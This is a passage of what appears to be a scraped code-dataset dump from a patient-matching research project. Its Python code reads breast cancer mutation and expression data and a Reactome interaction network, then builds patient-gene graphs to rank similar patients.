frozenset(self.__cancer_subtypes)\n\n def __read_ensembl_reactome(self):\n filecontent = np.genfromtxt(\"data/ensembl_reactome.txt\", delimiter='\\t', dtype=np.str)\n\n reactome_no_headers = filecontent[1:]\n\n interaction_dict = dict()\n\n for interaction in reactome_no_headers:\n\n gene1 = self.__make_or_get_ensembl_gene(interaction[0])\n gene2 = self.__make_or_get_ensembl_gene(interaction[1])\n\n # We also exclude if two genes are the same, so no self loops included\n\n if gene1 != gene2:\n\n if gene1 not in interaction_dict:\n interaction_dict[gene1] = set()\n\n interaction_dict[gene1].add(gene2)\n\n if gene2 not in interaction_dict:\n interaction_dict[gene2] = set()\n\n interaction_dict[gene2].add(gene1)\n\n for gene in interaction_dict:\n gene_interacting_genes = interaction_dict[gene]\n gene.interacting_genes = gene_interacting_genes\n\n def __read_brca_data(self):\n breast_cancer = self.__add_breast_cancer()\n patient_per_name = dict()\n self.__read_brca_subtypes(breast_cancer, patient_per_name)\n self.__read_brca_expressions(patient_per_name)\n self.__read_brca_mutations(patient_per_name)\n self.__patients = patient_per_name.values()\n\n def __add_breast_cancer(self) -> CancerType:\n breast_cancer = CancerType()\n self.__cancer_types.add(breast_cancer)\n ct_m_nomenclature = self.__biology.cancer_type_metanomenclature\n ct_m_nomenclature.make_nomenclature(\"default\")\n ct_nomenclature = ct_m_nomenclature.get_nomenclature(\"default\")\n ct_nomenclature.add_names_for_object([\"breast cancer\"], breast_cancer)\n self.__cancer_types.add(breast_cancer)\n return breast_cancer\n\n def __read_brca_subtypes(self, breast_cancer: CancerType, patient_per_name: Mapping[str, Patient]):\n \"\"\"\n :return: The patients per name.\n \"\"\"\n\n with open('BRCAtestdata/BRCA_subtypes.txt', 'r') as subtypeFile:\n next(subtypeFile)\n subtype_reader = csv.reader(subtypeFile, delimiter='\\t')\n for patient_name, subtype_name in subtype_reader:\n patient = Patient()\n patient.name = patient_name\n patient.cancer_subtype = self.__make_or_get_subtype(name=subtype_name, breast_cancer=breast_cancer)\n patient_per_name[patient_name] = patient\n\n return patient_per_name\n\n def __read_brca_expressions(self, patient_per_name: Mapping[str, Patient]):\n expressions_per_patient = dict()\n\n filename = 'BRCAtestdata/ens_BRCA_expressionset.txt'\n\n with open(filename, 'r') as expressionFile:\n next(expressionFile)\n expression_reader = csv.reader(expressionFile, delimiter='\\t')\n for patient_name, expression, _, ensembl_id in expression_reader:\n if patient_name not in expressions_per_patient.keys():\n expressions_per_patient[patient_name] = dict()\n gene = self.__make_or_get_ensembl_gene(ensembl_id)\n expressions_per_patient[patient_name][gene] = float(expression)\n\n for (patient_name, expressions) in expressions_per_patient.items():\n patient = patient_per_name['pat_'+ patient_name]\n patient.differential_expression_record.add_aberration_set(GeneAberrationSet(filename, expressions))\n\n def __read_brca_mutations(self, patient_per_name: Mapping[str, Patient]):\n\n mutations_per_patient = dict()\n filename = 'BRCAtestdata/ens_BRCA_mutationset.txt'\n\n with open(filename, 'r') as mutation_file:\n\n next(mutation_file)\n mutation_reader = csv.reader(mutation_file, delimiter='\\t')\n\n for patient_name, vaf, _, ensembl_id in mutation_reader:\n if patient_name not in mutations_per_patient.keys():\n mutations_per_patient[patient_name] = dict()\n gene = self.__make_or_get_ensembl_gene(ensembl_id)\n mutations_per_patient[patient_name][gene] = float(vaf)\n\n for (patient_name, mutations) in mutations_per_patient.items():\n patient = patient_per_name['pat_' + patient_name]\n patient.mutation_record.add_aberration_set(GeneAberrationSet(filename, mutations))\n\n def __make_or_get_subtype(self, name: str, breast_cancer: CancerType):\n cst_nomenclature = self.biology.cancer_subtype_metanomenclature.get_nomenclature(\"default\")\n if cst_nomenclature is None:\n self.biology.cancer_subtype_metanomenclature.make_nomenclature(\"default\")\n cst_nomenclature = self.biology.cancer_subtype_metanomenclature.get_nomenclature(\"default\")\n\n subtype = cst_nomenclature.get_object_with_name(name)\n if subtype is None:\n subtype = CancerSubtype(breast_cancer)\n cst_nomenclature.add_names_for_object(new_names=[name], object=subtype)\n self.__cancer_subtypes.add(subtype)\n\n return subtype\n\n def __make_or_get_ensembl_gene(self, name: str) -> Gene:\n nomenclature = self.biology.gene_metanomenclature.get_nomenclature('ensembl')\n if nomenclature is None:\n self.biology.gene_metanomenclature.make_nomenclature('ensembl')\n nomenclature = self.biology.gene_metanomenclature.get_nomenclature('ensembl')\n\n gene = nomenclature.get_object_with_name(name)\n if gene is None:\n gene = Gene(self.biology)\n nomenclature.add_names_for_object(new_names=[name], object=gene)\n\n return gene\n\n\n" }, { "alpha_fraction": 0.7560975551605225, "alphanum_fraction": 0.7560975551605225, "avg_line_length": 13, "blob_id": "d0a8894ae733aa4de6d6047fd5d26828f92499c3", "content_id": "5cbfc08eb45b22d24a5e84d516bd31173c6cf492", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 41, "license_type": "no_license", "max_line_length": 30, "num_lines": 3, "path": "/computation_and_database/main.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from api.RunApi import run_api\n\nrun_api()" }, { "alpha_fraction": 0.7988826632499695, "alphanum_fraction": 0.7988826632499695, "avg_line_length": 35, "blob_id": "ebbd6ba85c4e2859f74c202942abd62e99208676", "content_id": "026fce600c88b37367e03d482930cd78798f376f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 179, "license_type": "no_license", "max_line_length": 68, "num_lines": 5, "path": "/computation_and_database/api/request_handlers/__init__.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "\"\"\"\nThe request handlers receive specific requests from the dispatcher,\ncall the correct methods from the controllers and return a response.\nThere is one handler per endpoint.\n\"\"\"" }, { "alpha_fraction": 0.5639370679855347, "alphanum_fraction": 0.5729321837425232, "avg_line_length": 53.81181716918945, "blob_id": "cd3a434d6ea72e6e2782c9db5cb19ebe7c67aba0", "content_id": "10fecd0e78d8d9e4fc067ad396b6c7f0daf85d83", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 75152, "license_type": "no_license", "max_line_length": 201, "num_lines": 1371, "path": "/computation_and_database/domain/computation/NetworkAlgorithm.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from domain.computation.SimilarPatientsComputationMethod import SimilarPatientComputationMethod\nfrom domain.state.SimilarPatient import SimilarPatient\nfrom domain.state.Biology import Biology\nfrom domain.state.SimilarPatientList import SimilarPatientList\nfrom domain.state.Patient import Patient\nfrom domain.DomainInitializer import DomainInitializer\nimport numpy as np\nimport datetime\nfrom typing import Iterable\n\n# PARAMETERS:\nnumber_of_similar_patients = 7\nfilter_out_genes_not_in_interaction_network = True\n\nmutation_vaf_threshold = 0.4\nbinary_expression_percentile = 1\n# set the following to False when we don't want to use a database patient\n# as main patient, but a 'real' input patient instead\ntest_database_patient_id = '2790b964-63e3-49aa-bf8c-9a00d3448c25'\ntest_database_patient_id = False\n\n# Choose which method to use:\n# 3 = Laplacian exponential diffusion kernel on the entire adjacency matrix\n# 2 = Random walker on the entire adjacency matrix\n# 1 = The simulated random walker (standard because very fast)\nsimilar_patients_computation_method = 1\nmethod_1_iterations = 10000\nrandom_walker_reset_chance = 0.2\nlaplacian_exponential_diffusion_kernel_parameter = 0.05\n\n\nclass NetworkAlgorithm(SimilarPatientComputationMethod):\n def name(self):\n return 'NetworkAlgorithm'\n # FUNCTIONS THAT SHOULD BE REPLACED BY IMPORTING FROM STATES:\n def __import_reactome_interactions(self):\n '''\n 1. Import the reactome interactions.\n 2. Convert to dictionary and return in the following format:\n Every gene from the interaction network has the 'int_' prefix and is a key in the dictionary.\n The values of the keys are sets with the interaction partners.\n 3. Go over every interacting node and collect all nodes that we will have to create in the\n self.all_nodes_collection\n NOTE: prefixes should be added when adding to the set.\n :return: {int_ENSG00000277075': {'int_ENSG00000159055', 'int_ENSG00000167491'}, ...}\n '''\n # print('importing reactome network')\n # filecontent = np.genfromtxt(\"data/ensembl_reactome.txt\", delimiter='\\t', dtype=np.str)\n # reactome_no_headers = filecontent[1:]\n #\n # interaction_dict = dict()\n # for interaction in reactome_no_headers:\n # gene1 = interaction[0]\n # gene2 = interaction[1]\n #\n # # We also exclude if two genes are the same, so no self loops included\n # if gene1 != gene2:\n # gene1_ens = 'int_' + gene1\n # gene2_ens = 'int_' + gene2\n #\n # if gene1_ens in interaction_dict:\n # interaction_dict[gene1_ens].update([gene2_ens])\n # else:\n # interaction_dict[gene1_ens] = set([gene2_ens])\n #\n # if gene2_ens in interaction_dict:\n # interaction_dict[gene2_ens].update([gene1_ens])\n # else:\n # interaction_dict[gene2_ens] = set([gene1_ens])\n interaction_dict = dict()\n for gene_object in self.biology.genes:\n interacting_genes = gene_object.interacting_genes\n if interacting_genes != frozenset():\n gene_names = self.gene_nomenclature.get_names_for_object(gene_object)\n for gene_name in gene_names:\n interaction_dict[\"int_\" + gene_name] = set()\n for interacting_gene_object in interacting_genes:\n for interacting_gene_name in self.gene_nomenclature.get_names_for_object(interacting_gene_object):\n interaction_dict[\"int_\" + gene_name].update([\"int_\" + interacting_gene_name])\n\n print('amount of genes in interaction network: ', len(interaction_dict), '\\n')\n\n print('collecting prior knowledge (interaction network) nodes')\n for gene_node in interaction_dict:\n gene_interacting_genes = interaction_dict[gene_node]\n self.all_nodes_collection.update([gene_node])\n for interacting_gene in gene_interacting_genes:\n self.all_nodes_collection.update([interacting_gene])\n\n return interaction_dict\n\n def __import_database_mutation_data(self, database_patients,\n filter=filter_out_genes_not_in_interaction_network,\n vaf_threshold=mutation_vaf_threshold):\n '''\n 1. Import mutation data\n 2. Combine the mutation data from different sources\n 3. :param filter: If specified, filter out the genes that are not present in the interaction network.\n 4. :param vaf_threshold: Make the data binary using a threshold on the vaf score.\n 5. Go over every entry in the data and collect all nodes that we will create in the\n set self.all_nodes_collection and all the patient nodes in the set self.patient_nodes_collection\n NOTE: prefixes should be added when adding to the set.\n --> pat_ before a patient node\n --> mut_ before a mutated gene node\n 6. While going over every entry, also create a dictionary linking the patients (keys) to a set of\n mutated genes (values)\n :return: the dictionary with patients as keys and corresponding set of mutated genes as value\n Example: {'pat_2c6f1862-bb82-4e7e-9cb3-338bdf022ff4': {'mut_ENSG00000185504'}, 'pat_35ceba07-0759-4fbe-b076-af821a528cf0': {'mut_ENSG00000128872', 'mut_ENSG00000196712', 'mut_ENSG00000173757'}}\n '''\n print('importing mutation data')\n patient_mutation_dict = dict()\n\n print('collecting patient & mutation nodes')\n # get database patients\n for patient in database_patients:\n patient_name = patient.name\n self.patient_name_object_dict[patient_name] = patient\n self.patient_nodes_collection.update([patient_name])\n for aberration_set in patient.mutation_record.aberration_sets:\n mutation_set = aberration_set.gene_scores\n if len(mutation_set) > 0:\n for (gene_object, vaf) in mutation_set:\n gene_names = self.gene_nomenclature.get_names_for_object(gene_object)\n for gene_name in gene_names:\n assert 'ENS' in gene_name\n if filter:\n if ('int_' + gene_name) in self.reactome_interaction_network:\n try:\n if float(vaf) >= vaf_threshold:\n if patient_name in patient_mutation_dict:\n patient_mutation_dict[patient_name].update(['mut_' + gene_name])\n else:\n patient_mutation_dict[patient_name] = set(['mut_' + gene_name])\n self.all_nodes_collection.update([patient_name])\n self.all_nodes_collection.update(['mut_' + gene_name])\n except:\n print('patient {} was not added to the mutation dict'.format(patient_name))\n else:\n try:\n if float(vaf) >= vaf_threshold:\n if patient_name in patient_mutation_dict:\n patient_mutation_dict[patient_name].update(['mut_' + gene_name])\n else:\n patient_mutation_dict[patient_name] = set(['mut_' + gene_name])\n self.all_nodes_collection.update([patient_name])\n self.all_nodes_collection.update(['mut_' + gene_name])\n except:\n print('patient {} was not added to the mutation dict'.format(patient_name))\n return patient_mutation_dict\n def __import_database_expression_data(self, database_patients, filter=filter_out_genes_not_in_interaction_network,\n percentile=binary_expression_percentile):\n '''\n 1. Import expression data\n 2. Combine the expression data from different sources if necessary\n 3. :param filter: If specified, filter out the genes that are not present in the interaction network.\n 4. Go over every entry in the data and collect all nodes that we will create in the\n set self.all_nodes_collection and all the patient nodes in the set self.patient_nodes_collection\n NOTE: prefixes should be added when adding to the set.\n --> pat_ before a patient node\n --> exp_ before a differentially expressed gene node\n 5. While going over every entry, also create a dictionary linking the patients (keys) to a set of\n DE genes (values)\n :return: the dictionary with patients as keys and corresponding set of DE genes as value\n Example: {'pat_2c6f1862-bb82-4e7e-9cb3-338bdf022ff4': {'exp_ENSG00000185504'}, 'pat_35ceba07-0759-4fbe-b076-af821a528cf0': {'exp_ENSG00000128872', 'exp_ENSG00000196712', 'exp_ENSG00000173757'}}\n '''\n # importing data and filtering based on reactome network\n print('importing expression data')\n\n print('collecting patient & mutation nodes')\n\n # make data binary\n # a. collect all values\n gene_expression_observation_dict = dict()\n for patient in database_patients:\n self.patient_name_object_dict[patient.name] = patient\n for aberration_set in patient.differential_expression_record.aberration_sets:\n expression_set = aberration_set.gene_scores\n if len(expression_set) > 0:\n for (gene_object, expression_value) in expression_set:\n assert expression_value == float(expression_value)\n gene_names = self.gene_nomenclature.get_names_for_object(gene_object)\n for gene_name in gene_names:\n assert 'ENS' in gene_name\n if filter:\n if ('int_' + gene_name) in self.reactome_interaction_network:\n if gene_name not in gene_expression_observation_dict:\n gene_expression_observation_dict[gene_name] = [expression_value]\n else:\n gene_expression_observation_dict[gene_name].append(expression_value)\n else:\n if gene_name not in gene_expression_observation_dict:\n gene_expression_observation_dict[gene_name] = [expression_value]\n else:\n gene_expression_observation_dict[gene_name].append(expression_value)\n # b. define gene thresholds based on the chosen percentiles\n self.gene_threshold_dict = dict()\n for gene in gene_expression_observation_dict:\n all_expression_values = np.array(gene_expression_observation_dict[gene])\n low_perc = np.percentile(all_expression_values, percentile)\n median_perc = np.percentile(all_expression_values, 50)\n high_perc = np.percentile(all_expression_values, (100 - percentile))\n\n low_diff = abs(median_perc - low_perc)\n high_diff = abs(high_perc - median_perc)\n # find smallest difference and mirror it\n if low_diff <= high_diff:\n lower_bound = low_perc\n upper_bound = median_perc + low_diff\n bound_type = 'overexpression'\n bound = upper_bound\n else:\n lower_bound = median_perc - high_diff\n upper_bound = high_perc\n bound_type = 'underexpression'\n bound = lower_bound\n self.gene_threshold_dict[gene] = (bound_type, bound)\n\n # add the nodes and link patient to DE genes\n patient_expression_dict = dict()\n print('collecting patient & DE nodes')\n for patient in database_patients:\n patient_name = patient.name\n self.patient_nodes_collection.update([patient_name])\n for aberration_set in patient.differential_expression_record.aberration_sets:\n expression_set = aberration_set.gene_scores\n if len(expression_set) > 0:\n for (gene_object, expression_value) in expression_set:\n assert expression_value == float(expression_value)\n gene_names = self.gene_nomenclature.get_names_for_object(gene_object)\n for gene_name in gene_names:\n assert 'ENS' in gene_name\n self.all_nodes_collection.update([patient_name])\n self.all_nodes_collection.update(['exp_' + gene_name])\n if filter:\n if ('int_' + gene_name) in self.reactome_interaction_network:\n (bound_type, bound) = self.gene_threshold_dict[gene_name]\n if bound_type == 'overexpression':\n if float(expression_value) >= bound:\n if patient_name in patient_expression_dict:\n patient_expression_dict[patient_name].update(['exp_' + gene_name])\n else:\n patient_expression_dict[patient_name] = set(['exp_' + gene_name])\n elif bound_type == 'underexpression':\n if float(expression_value) <= bound:\n if patient in patient_expression_dict:\n patient_expression_dict[patient_name].update(['exp_' + gene_name])\n else:\n patient_expression_dict[patient_name] = set(['exp_' + gene_name])\n else:\n (bound_type, bound) = self.gene_threshold_dict[gene_name]\n if bound_type == 'overexpression':\n if float(expression_value) >= bound:\n if patient_name in patient_expression_dict:\n patient_expression_dict[patient_name].update(['exp_' + gene_name])\n else:\n patient_expression_dict[patient_name] = set(['exp_' + gene_name])\n elif bound_type == 'underexpression':\n if float(expression_value) <= bound:\n if patient in patient_expression_dict:\n patient_expression_dict[patient_name].update(['exp_' + gene_name])\n else:\n patient_expression_dict[patient_name] = set(['exp_' + gene_name])\n\n ##\n # print('importing expression data from {}'.format(filepath))\n # filecontent = np.genfromtxt(filepath, delimiter=\"\\t\", dtype=np.str)\n # database_expression_data = filecontent[1:]\n # if filter:\n # filtered_data = []\n # for data_entry in database_expression_data:\n # if ('int_' + data_entry[3]) in self.reactome_interaction_network:\n # filtered_data.append(data_entry)\n # database_expression_data = np.array(filtered_data)\n #\n # # make data binary\n # # a. collect all values\n # gene_expression_observation_dict = dict()\n # for entry in database_expression_data:\n # gene = entry[3]\n # expression_value = float(entry[1])\n # if gene not in gene_expression_observation_dict:\n # gene_expression_observation_dict[gene] = [expression_value]\n # else:\n # gene_expression_observation_dict[gene].append(expression_value)\n # # b. define gene thresholds based on the chosen percentiles\n # gene_threshold_dict = dict()\n # for gene in gene_expression_observation_dict:\n # all_expression_values = np.array(gene_expression_observation_dict[gene])\n # low_perc = np.percentile(all_expression_values, percentile)\n # median_perc = np.percentile(all_expression_values, 50)\n # high_perc = np.percentile(all_expression_values, (100-percentile))\n #\n # low_diff = abs(median_perc - low_perc)\n # high_diff = abs(high_perc - median_perc)\n # # find smallest difference and mirror it\n # if low_diff <= high_diff:\n # lower_bound = low_perc\n # upper_bound = median_perc + low_diff\n # bound_type = 'overexpression'\n # bound = upper_bound\n # else:\n # lower_bound = median_perc - high_diff\n # upper_bound = high_perc\n # bound_type = 'underexpression'\n # bound = lower_bound\n # gene_threshold_dict[gene] = (bound_type, bound)\n #\n # # add the nodes and link patient to DE genes\n # patient_expression_dict = dict()\n # print('collecting patient & DE nodes')\n # for entry in database_expression_data:\n #\n # # update collection of patient nodes\n # patient = 'pat_' + entry[0]\n # self.patient_nodes_collection.update([patient])\n #\n # # extract expression value\n # expression_value = entry[1]\n #\n # # making sure there is an ensembl id, because this doesnt always seem to be the case\n # if 'ENS' in entry[3]:\n # ensembl_id = 'exp_' + entry[3]\n #\n # # add patient node and gene node to the set\n # self.all_nodes_collection.update([patient])\n # self.all_nodes_collection.update([ensembl_id])\n #\n #\n # # link patient to gene if gene is DE (one way only)\n # (bound_type, bound) = gene_threshold_dict[entry[3]]\n # if bound_type == 'overexpression':\n # if float(expression_value) >= bound:\n # if patient in patient_expression_dict:\n # patient_expression_dict[patient].update([ensembl_id])\n # else:\n # patient_expression_dict[patient] = set([ensembl_id])\n # elif bound_type == 'underexpression':\n # if float(expression_value) <= bound:\n # if patient in patient_expression_dict:\n # patient_expression_dict[patient].update([ensembl_id])\n # else:\n # patient_expression_dict[patient] = set([ensembl_id])\n return patient_expression_dict\n def __import_database_cnv_data(self,\n filter=filter_out_genes_not_in_interaction_network):\n '''\n 1. Import copy number abberation data\n 2. Combine the copy number abberation data from different sources if necessary\n 3. :param filter: If specified, filter out the genes that are not present in the interaction network.\n 4. Go over every entry in the data and collect all nodes that we will create in the\n set self.all_nodes_collection and all the patient nodes in the set self.patient_nodes_collection\n NOTE: prefixes should be added when adding to the set.\n --> pat_ before a patient node\n --> cnv_ before a cnv gene node\n 5. While going over every entry, also create a dictionary linking the patients (keys) to a set of\n cnv genes (values)\n :return: the dictionary with patients as keys and corresponding set of cnv genes as value\n Example: {'pat_2c6f1862-bb82-4e7e-9cb3-338bdf022ff4': {'cnv_ENSG00000185504'}, 'pat_35ceba07-0759-4fbe-b076-af821a528cf0': {'cnv_ENSG00000128872', 'cnv_ENSG00000196712', 'cnv_ENSG00000173757'}}\n '''\n return {}\n def __import_database_methylation_data(self,\n filter=filter_out_genes_not_in_interaction_network):\n '''\n 1. Import methylation data\n 2. Combine the methylation data from different sources if necessary\n 3. :param filter: If specified, filter out the genes that are not present in the interaction network.\n 4. Go over every entry in the data and collect all nodes that we will create in the\n set self.all_nodes_collection and all the patient nodes in the set self.patient_nodes_collection\n NOTE: prefixes should be added when adding to the set.\n --> pat_ before a patient node\n --> met_ before a methylated gene node\n 5. While going over every entry, also create a dictionary linking the patients (keys) to a set of\n methylated genes (values)\n :return: the dictionary with patients as keys and corresponding set of methylated genes as value\n Example: {'pat_2c6f1862-bb82-4e7e-9cb3-338bdf022ff4': {'met_ENSG00000185504'}, 'pat_35ceba07-0759-4fbe-b076-af821a528cf0': {'met_ENSG00000128872', 'met_ENSG00000196712', 'met_ENSG00000173757'}}\n '''\n return {}\n\n def __import_main_patient(self, main_patient_object, filter=filter_out_genes_not_in_interaction_network,\n vaf_threshold = mutation_vaf_threshold, percentile=binary_expression_percentile):\n '''\n Import genome abberation sets from the input patient and return the preprocessed\n information in a dictionary.\n If we still need to preprocess (make data binary etc.)\n we have to make sure we use the same parameters as in the other methods.\n\n :param database_patient_id: If there is a database patient ID specified, it means that we are\n performing a test and that we will take the abberation data from the database.\n\n :return: A dictionary with the following structure:\n {'mutation_data' : set(mut_g1, mut_g2,..),\n 'expression_data' : set(),\n 'cnv_data' : set(),\n 'methylation_data' : set()}\n '''\n main_patient_mutation_data = set()\n main_patient_expression_data = set()\n main_patient_cnv_data = set()\n main_patient_methylation_data = set()\n\n # MUTATIONS\n for aberration_set in main_patient_object.mutation_record.aberration_sets:\n mutation_set = aberration_set.gene_scores\n if len(mutation_set) > 0:\n for (gene_object, vaf) in mutation_set:\n gene_names = self.gene_nomenclature.get_names_for_object(gene_object)\n for gene_name in gene_names:\n assert 'ENS' in gene_name\n if filter:\n if ('int_' + gene_name) in self.reactome_interaction_network:\n if float(vaf) >= vaf_threshold:\n main_patient_mutation_data.update(['mut_' + gene_name])\n else:\n if float(vaf) >= vaf_threshold:\n main_patient_mutation_data.update(['mut_' + gene_name])\n\n # EXPRESSION\n for aberration_set in main_patient.differential_expression_record.aberration_sets:\n expression_set = aberration_set.gene_scores\n if len(expression_set) > 0:\n for (gene_object, expression_value) in expression_set:\n assert expression_value == float(expression_value)\n gene_names = self.gene_nomenclature.get_names_for_object(gene_object)\n for gene_name in gene_names:\n assert 'ENS' in gene_name\n if filter:\n if ('int_' + gene_name) in self.reactome_interaction_network:\n (bound_type, bound) = self.gene_threshold_dict[gene_name]\n if bound_type == 'overexpression':\n if float(expression_value) >= bound:\n main_patient_expression_data.update(['exp_' + gene_name])\n elif bound_type == 'underexpression':\n if float(expression_value) <= bound:\n main_patient_expression_data.update(['exp_' + gene_name])\n else:\n (bound_type, bound) = self.gene_threshold_dict[gene_name]\n if bound_type == 'overexpression':\n if float(expression_value) >= bound:\n main_patient_expression_data.update(['exp_' + gene_name])\n elif bound_type == 'underexpression':\n if float(expression_value) <= bound:\n main_patient_expression_data.update(['exp_' + gene_name])\n\n return {'mutation_data': main_patient_mutation_data,\n 'expression_data': main_patient_expression_data,\n 'cnv_data': main_patient_cnv_data,\n 'methylation_data': main_patient_methylation_data}\n # main_patient_mutation_data = set()\n # main_patient_expression_data = set()\n # main_patient_cnv_data = set()\n # main_patient_methylation_data = set()\n #\n # if database_patient_id != 'MAIN_PATIENT':\n # # We need to take a database patient\n # database_patient_id = 'pat_' + database_patient_id\n # if database_patient_id in self.database_mutation_dict:\n # main_patient_mutation_data = self.database_mutation_dict[database_patient_id]\n # if database_patient_id in self.database_expression_dict:\n # main_patient_expression_data = self.database_expression_dict[database_patient_id]\n # if database_patient_id in self.database_cnv_dict:\n # main_patient_cnv_data = self.database_cnv_dict[database_patient_id]\n # if database_patient_id in self.database_methylation_dict:\n # main_patient_methylation_data = self.database_methylation_dict[database_patient_id]\n #\n # return {'mutation_data': main_patient_mutation_data,\n # 'expression_data': main_patient_expression_data,\n # 'cnv_data': main_patient_cnv_data,\n # 'methylation_data': main_patient_methylation_data}\n #\n # elif database_patient_id == 'MAIN_PATIENT':\n # # Insert import from state here:\n # raise ValueError('Importing the main patient from the states is not implemented yet!')\n #\n # # We need to import the input patient (= main patient)\n # return {'mutation_data': main_patient_mutation_data,\n # 'expression_data': main_patient_expression_data,\n # 'cnv_data': main_patient_cnv_data,\n # 'methylation_data': main_patient_methylation_data}\n def __import_patient_subtypes_into_dict(self):\n '''\n Returns a dictionary with as key the patient id and as value the subtype\n :param subtypes_filepath: Should be replaced by state import later.\n :return: Dictionary with keys the patients and values their cancer subtype.\n '''\n BRCA_patient_subtypes_dict = dict()\n database_patients = self.domain_initializer.persisted_patients\n for patient in database_patients:\n subtype = self.subtype_nomenclature.get_names_for_object(patient.cancer_subtype)\n assert subtype is not frozenset()\n BRCA_patient_subtypes_dict[patient.name] = subtype\n return BRCA_patient_subtypes_dict\n # BRCA_patient_subtypes = np.genfromtxt(BRCA_patient_subtypes_filepath, delimiter=\"\\t\",\n # dtype=np.str)[1:]\n # BRCA_patient_subtypes_dict = dict()\n # for entry in BRCA_patient_subtypes:\n # BRCA_patient_subtypes_dict[entry[0]] = entry[1]\n # return BRCA_patient_subtypes_dict\n def __import_BRCA_mutation_file(self,filter=filter_out_genes_not_in_interaction_network,\n vaf_threshold = mutation_vaf_threshold):\n\n\n '''\n :param filepath: The filepath to the BRCA mutation file.\n :return: The mutation data converted to a np.array.\n '''\n\n print('importing mutation data')\n patient_mutation_dict = dict()\n\n print('collecting patient & mutation nodes')\n # get database patients\n database_patients = self.domain_initializer.persisted_patients\n for patient in database_patients:\n patient_name = patient.name\n self.patient_nodes_collection.update([patient_name])\n for aberration_set in patient.mutation_record.aberration_sets:\n mutation_set = aberration_set.gene_scores\n if len(mutation_set) > 0:\n for (gene_object, vaf) in mutation_set:\n gene_names = self.gene_nomenclature.get_names_for_object(gene_object)\n for gene_name in gene_names:\n assert 'ENS' in gene_name\n if filter:\n if ('int_' + gene_name) in self.reactome_interaction_network:\n try:\n if float(vaf) >= vaf_threshold:\n if patient_name in patient_mutation_dict:\n patient_mutation_dict[patient_name].update(['mut_' + gene_name])\n else:\n patient_mutation_dict[patient_name] = set(['mut_' + gene_name])\n self.all_nodes_collection.update([patient_name])\n self.all_nodes_collection.update(['mut_' + gene_name])\n except:\n print('patient {} was not added to the mutation dict'.format(patient_name))\n else:\n try:\n if float(vaf) >= vaf_threshold:\n if patient_name in patient_mutation_dict:\n patient_mutation_dict[patient_name].update(['mut_' + gene_name])\n else:\n patient_mutation_dict[patient_name] = set(['mut_' + gene_name])\n self.all_nodes_collection.update([patient_name])\n self.all_nodes_collection.update(['mut_' + gene_name])\n except:\n print('patient {} was not added to the mutation dict'.format(patient_name))\n return patient_mutation_dict\n # print('importing mutation data')\n # filecontent = np.genfromtxt(filepath, delimiter=\"\\t\", dtype=np.str)\n # matrix = filecontent[1:]\n # database_mutation_data = [matrix]\n # if filter:\n # filtered_data = []\n # for subdata in database_mutation_data:\n # filtered_subdata = []\n # for data_entry in subdata:\n # if ('int_' + data_entry[3]) in self.reactome_interaction_network:\n # filtered_subdata.append(data_entry)\n # filtered_data.append(np.array(filtered_subdata, dtype='<U36'))\n # database_mutation_data = np.array(filtered_data)\n # print('collecting patient & mutation nodes')\n # patient_mutation_dict = dict()\n # for subdata in database_mutation_data:\n # for data_entry in subdata:\n # # add prefix\n # patient = 'pat_' + data_entry[0]\n # # update collection of patient nodes\n # self.patient_nodes_collection.update([patient])\n # # extract vaf score\n # vaf = data_entry[1]\n # # making sure there is an ensembl id, because this doesnt always seem to be the case\n # if 'ENS' in data_entry[3]:\n # ensembl_id = 'mut_' + data_entry[3]\n #\n # # add patient node and gene node to the set\n # self.all_nodes_collection.update([patient])\n # self.all_nodes_collection.update([ensembl_id])\n #\n # # link patient to mutation\n # try: # sometimes there is an error in the vaf number, the number is blank or NA or ...\n # if float(vaf) >= vaf_threshold:\n # if patient in patient_mutation_dict:\n # patient_mutation_dict[patient].update([ensembl_id])\n # else:\n # patient_mutation_dict[patient] = set([ensembl_id])\n # except:\n # print('The following patient was not added to the mutation dict: ', patient)\n # pass\n # return patient_mutation_dict\n\n def __import_BRCA_expression_file(self,filter=filter_out_genes_not_in_interaction_network,\n percentile=binary_expression_percentile):\n\n '''\n :param filepath: The filepath to the BRCA expression file.\n :return: The expression data made binary and converted to a np.array.\n '''\n # importing data and filtering based on reactome network\n print('importing expression data')\n\n print('collecting patient & mutation nodes')\n # get database patients\n database_patients = self.domain_initializer.persisted_patients\n\n # make data binary\n # a. collect all values\n gene_expression_observation_dict = dict()\n for patient in database_patients:\n for aberration_set in patient.differential_expression_record.aberration_sets:\n expression_set = aberration_set.gene_scores\n if len(expression_set) > 0:\n for (gene_object, expression_value) in expression_set:\n assert expression_value == float(expression_value)\n gene_names = self.gene_nomenclature.get_names_for_object(gene_object)\n for gene_name in gene_names:\n assert 'ENS' in gene_name\n if filter:\n if ('int_' + gene_name) in self.reactome_interaction_network:\n if gene_name not in gene_expression_observation_dict:\n gene_expression_observation_dict[gene_name] = [expression_value]\n else:\n gene_expression_observation_dict[gene_name].append(expression_value)\n else:\n if gene_name not in gene_expression_observation_dict:\n gene_expression_observation_dict[gene_name] = [expression_value]\n else:\n gene_expression_observation_dict[gene_name].append(expression_value)\n # b. define gene thresholds based on the chosen percentiles\n self.gene_threshold_dict = dict()\n for gene in gene_expression_observation_dict:\n all_expression_values = np.array(gene_expression_observation_dict[gene])\n low_perc = np.percentile(all_expression_values, percentile)\n median_perc = np.percentile(all_expression_values, 50)\n high_perc = np.percentile(all_expression_values, (100-percentile))\n\n low_diff = abs(median_perc - low_perc)\n high_diff = abs(high_perc - median_perc)\n # find smallest difference and mirror it\n if low_diff <= high_diff:\n lower_bound = low_perc\n upper_bound = median_perc + low_diff\n bound_type = 'overexpression'\n bound = upper_bound\n else:\n lower_bound = median_perc - high_diff\n upper_bound = high_perc\n bound_type = 'underexpression'\n bound = lower_bound\n self.gene_threshold_dict[gene] = (bound_type, bound)\n\n # add the nodes and link patient to DE genes\n patient_expression_dict = dict()\n print('collecting patient & DE nodes')\n for patient in database_patients:\n patient_name = patient.name\n self.patient_nodes_collection.update([patient_name])\n for aberration_set in patient.differential_expression_record.aberration_sets:\n expression_set = aberration_set.gene_scores\n if len(expression_set) > 0:\n for (gene_object, expression_value) in expression_set:\n assert expression_value == 